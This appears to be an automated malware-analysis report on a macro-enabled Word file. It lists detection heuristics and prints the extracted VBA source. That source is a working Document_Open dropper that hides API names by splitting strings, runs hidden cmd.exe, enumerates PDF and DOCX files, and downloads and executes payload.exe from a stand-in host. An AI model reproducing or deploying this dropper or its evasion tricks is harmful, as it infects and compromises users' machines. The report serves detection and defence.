MALICIOUS
230
Risk Score
Heuristics 7
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VBA project inside OOXML medium 5 related findings OOXML_VBADocument contains a VBA project — VBA macros present
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VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXECVBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.Matched line in script
stream.Write http.ResponseBody -
Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATIONVBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.Matched line in script
' Execution: Run a command using WScript.Shell -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set WshShell = CreateObject("WSc" & "ript.Sh" & "ell") -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
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Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_Open() -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
- http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
- http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
- http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
- http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
- http://schemas.microsoft.com/office/2019/extlstReferenced by macro
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
- http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
- http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
- http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2023/wordml/word16duReferenced by macro
- http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashReferenced by macro
- http://schemas.microsoft.com/office/word/2024/wordml/sdtformatlockReferenced by macro
- http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
- http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 2155 bytes |
SHA-256: cf7f78b5a68cc275e96f6a9f4abe71cab18eb294fc9e84f4b19eb425b539552b |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
Dim WshShell As Object
Dim documentsPath As String
Dim fso As Object
Dim folder As Object
Dim file As Object
Dim http As Object
Dim stream As Object
Dim payloadURL As String
Dim payloadPath As String
' Execution: Run a command using WScript.Shell
Set WshShell = CreateObject("WSc" & "ript.Sh" & "ell")
WshShell.Run "c" & "md.e" & "xe /c e" & "cho I" & "nitial c" & "ommand e" & "xecution", 0, True
' Discovery: Search for .pdf and .docx files in the Documents folder
documentsPath = WshShell.SpecialFolders("M" & "yDocu" & "ments")
Set fso = CreateObject("Sc" & "ripting.Fi" & "leSystemOb" & "ject")
Set folder = fso.GetFolder(documentsPath)
For Each file In folder.Files
If LCase(fso.GetExtensionName(file.Name)) = "p" & "df" Or LCase(fso.GetExtensionName(file.Name)) = "d" & "ocx" Then
' Perform actions on discovered files (e.g., log, exfiltrate metadata)
WshShell.Run "c" & "md.e" & "xe /c e" & "cho D" & "iscovered f" & "ile: " & file.Name, 0, True
End If
Next file
' Command and Control (C2): Download the payload
payloadURL = "h" & "ttp://" & "exa" & "mple.c" & "om/p" & "aylo" & "ad.e" & "xe"
payloadPath = documentsPath & "\" & "p" & "aylo" & "ad.e" & "xe"
Set http = CreateObject("MSX" & "ML2.XM" & "LHTTP")
http.Open "G" & "ET", payloadURL, False
http.Send
If http.Status = 200 Then
Set stream = CreateObject("AD" & "ODB.S" & "tream")
stream.Type = 1
stream.Open
stream.Write http.ResponseBody
stream.SaveToFile payloadPath, 2
stream.Close
' Installation: Execute the downloaded payload
WshShell.Run payloadPath, 0, True
End If
End Sub
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vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 11264 bytes |
SHA-256: 49b90459b6462e8050f1f3c4f878691de733661c2bf08d15d54d2321e5695103 |
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